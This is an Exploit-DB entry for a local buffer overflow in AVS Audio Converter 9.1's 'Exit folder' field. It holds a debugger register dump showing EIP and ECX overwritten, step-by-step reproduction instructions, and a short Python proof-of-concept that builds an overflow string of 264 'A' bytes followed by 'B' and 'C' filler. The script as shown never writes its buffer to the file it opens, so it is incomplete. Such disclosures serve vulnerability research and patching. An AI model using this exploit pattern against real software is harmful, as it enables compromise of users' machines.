AVS Audio Converter 9.1 - 'Exit folder' Buffer Overflow

ID EDB-ID:47788
Type exploitdb
Reporter Exploit-DB
Modified 2019-12-18T00:00:00


                                            # Exploit Title: AVS Audio Converter 9.1 - 'Exit folder' Buffer Overflow
# Exploit Author : ZwX
# Exploit Date: 2019-12-17
# Vendor Homepage : http://www.avs4you.com/
# Link Software : http://www.avs4you.com/avs-audio-converter.aspx
# Tested on OS: Windows 7

Technical Details & Description:
A local buffer overflow vulnerability has been discovered in tihe official AVS Audio Converter. 
The vulnerability allows local attackers to overwrite the registers (example eip) to compromise the local software process. 
The issue can be exploited by local attackers with system privileges to compromise the affected local computer system. 
The vulnerability is marked as classic buffer overflow issue.

Analyze Registers:
(1e74.1b78): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=42424242 edx=778c6d1d esi=00000000 edi=00000000
eip=42424242 esp=0012f098 ebp=0012f0b8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246
42424242 ??              ???
0:000> !exchain
0012f0ac: ntdll!ExecuteHandler2+3a (778c6d1d)
0012fa30: 42424242
Invalid exception stack at 41414141

Note: EIP & ECX  overwritten

Proof of Concept (PoC):
1.Download and install AVS Audio Converter
2.Open the AVS Audio Converter 
3.Run the python operating script that will create a file (poc.txt)
4.copy and paste the characters found in the file (poc.txt) in the field "Exit folder"
5.Click on browse
6.EIP overwritten


buffer = "\x41" * 264
a = "\x42" * 4
b = "\x43" * 1000

poc = buffer + a + b 
file = open("poc.txt","w")
print "POC Created by ZwX"